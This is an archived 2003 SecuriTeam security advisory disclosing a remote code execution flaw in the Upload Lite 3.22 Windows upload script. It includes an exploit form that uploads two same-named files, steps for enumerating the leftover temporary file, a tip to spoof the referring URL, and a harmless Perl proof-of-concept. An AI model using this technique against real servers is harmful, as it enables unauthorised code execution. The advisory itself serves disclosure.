

[NEWS] Upload Lite Allows Remote Code Execution

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-03/0028.html>

From: support@securiteam.com

Date: 03/10/03

From: support@securiteam.com

To: list@securiteam.com

Date: 10 Mar 2003 15:06:29 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

In the US?

Contact Beyond Security at our new California office housewarming rates on automated network vulnerability scanning. We also welcome ISPs and other resellers!

Please contact us at: 323-882-8286 or ussales@beyondsecurity.com

Upload Lite Allows Remote Code Execution

SUMMARY

<http://www.perlscriptsjavascripts.com/perl/upload_lite/> Upload Lite is "The ultimate free uploader with admin specified restrictions on file types and sizes". A vulnerability in the script does not only allow attackers to upload malicious code to the server, but to execute it.

DETAILS

Vulnerable systems:

* Upload Lite version 3.22 (Windows version)

Exploit:

Using a form with two FILE fields such as:

```
< form action="http://www.example.com/cgi-bin/upload.cgi" method="post" enctype="multipart/form-data">
```

```
File 1, Same filename as file2< br>
```

```
< input type="File" name="FILE1">< br>
```

```
File 2, The code you plan to execute, with same filename as file1<br><
```

Securiteam: [NEWS] Upload Lite Allows Remote Code Execution

```
input type="File" name="FILE2">< br>  
< input type="Submit" value="Submit">< /p>  
< /form>
```

Will cause the server to think that we are uploading two files. Because of this, the server will create two temporary files. The first temporary file will be deleted, the second temporary file does not (due to the bug). Knowing this fact, the second file will be the file that will contain the malicious code.

The syntax with which the program creates the temporary is CGItemp<random number>. This random number can be found by enumerating the complete range, until the file containing our malicious code is found.

NOTE: You must also spoof the referring URL in the HTTP header so that the script thinks you are uploading from the site you are supposed to be uploading.

Example of script to be run on host:

```
#!C:\Perl\Bin\Perl.exe
```

```
print ("Content-Type: text/html\n\nUh Oh! It works!\n");
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:sil@linuxquestions.net> Sil.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.